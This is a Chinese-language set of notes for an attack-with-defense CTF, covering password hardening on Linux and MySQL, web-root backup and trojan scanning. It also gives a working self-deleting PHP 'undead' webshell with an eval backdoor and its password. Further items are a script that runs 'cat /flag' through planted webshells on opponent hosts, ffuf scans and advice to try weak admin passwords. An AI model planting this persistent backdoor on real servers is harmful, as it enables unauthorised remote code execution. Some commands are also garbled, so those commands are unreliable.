AWD记录

改linux密码

passwd

输入新密码即可

有权限删除用户

userdel -r [用户名]

改mysql密码

update mysql.user set password=password(‘密码’) where user=’root’;

1
2
3
4
5
6
7
8
9
10
11
12
1. 登录 mysql 终端,运行:
mysql> set password=password('new password');
mysql>flush privileges;
2. 修改 mysql user 表
mysql>use mysql;
mysql>update user set password=password('new password') where user='root';
mysql>flush privileges;
3. 使用 GRANT 语句
mysql>GRANT ALL PRIVILEGES ON *.* TO 'root'@'127.0.0.1' IDENTIFIED BY 'new password' WITH GRANT OPTION;
mysql>flush privileges;
4. mysqladmin
[root@ubuntu]# mysqladmin -u root password "new password";(注意双引号或不加)

删除匿名用户

delete from mysql.user where user=’ ‘;

刷新配置

flush privileges;

改网站后台密码

从网站页面或者源码或者御剑工具找到后台页面,然后尝试弱口令登入后改管理员密码。

网站目录打包成

cd /var/www/html

tar -cvf [打包后的文件名.tar] *

zip -r 输出文件名.zip 目录名

将压缩包解压,然后拉到D盾里面扫描木马文件

查看最近修改的文件

ls -ltR | head -n 10

查看进程

who

杀死进程

pkill -kill -t pts/进程号

ffuf扫描存活的端口

ffud -u url.FUZZ.url number.txt

登录mysql

1.navicat

mysql默认端口3306 可能不允许外部连接

2.服务器里登录

mysql -u [username] -p

不死马

sauy.php

1
2
3
4
5
6
7
8
9
10
11
12
<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = './.index.php';
$code = '<?php if(md5($_POST["pass"])=="02db7748bedfcd5dafc502d63228f455"){@eval($_POST[a]);} ?>';
while (1){
file_put_contents($file,$code);
usleep(5000);
}
//hacked by sauy
?>

//pass=Rimuru20250802 马儿用法:fuckyou.php?pass=Rimuru20250802&a=command

杀不死马

杀死不死马的方法,查看不死马的进程ID:

# top | grep httpd

chmod 777 kill.sh

nohup ./kill.sh &

查到ID为 11198 ,根据ID号和webshell名写.sh脚本。

# vim kill.sh

1
2
3
4
5
6
#!/bin/bash
while true
do
kill -9 11198 2>/dev/null
rm -f .shell.php
done

调取自己的webshell不断交flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import requests
token = ""
nums = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10]
targets = [f"http://192-168-1-{i}.pvp6258.bugku.cn/.sauy.php" for i in nums]

for url in targets:
try:
print(f"[+] Checking {url}")
resp = requests.post(url, data={'cmd': "cat /flag"}, timeout=3)
flag = resp.text.strip()
if "flag" in flag: # 简单判断
print(f"[+] Got flag from {url}: {flag}")
submit_url = f"https://ctf.bugku.com/pvp/submit.html?token={token}&flag={flag}"
r = requests.get(submit_url)
print(f"[+] Submit response: {r.text}")
else:
print(f"[-] No flag at {url}")
except requests.RequestException as e:
print(f"[-] {url} Failed: {e}")

ffuf扫描存活网口

1
ffuf -u http://192-168-1-FUZZ.pvp6258.bugku.cn -w number.txt -mc 200,403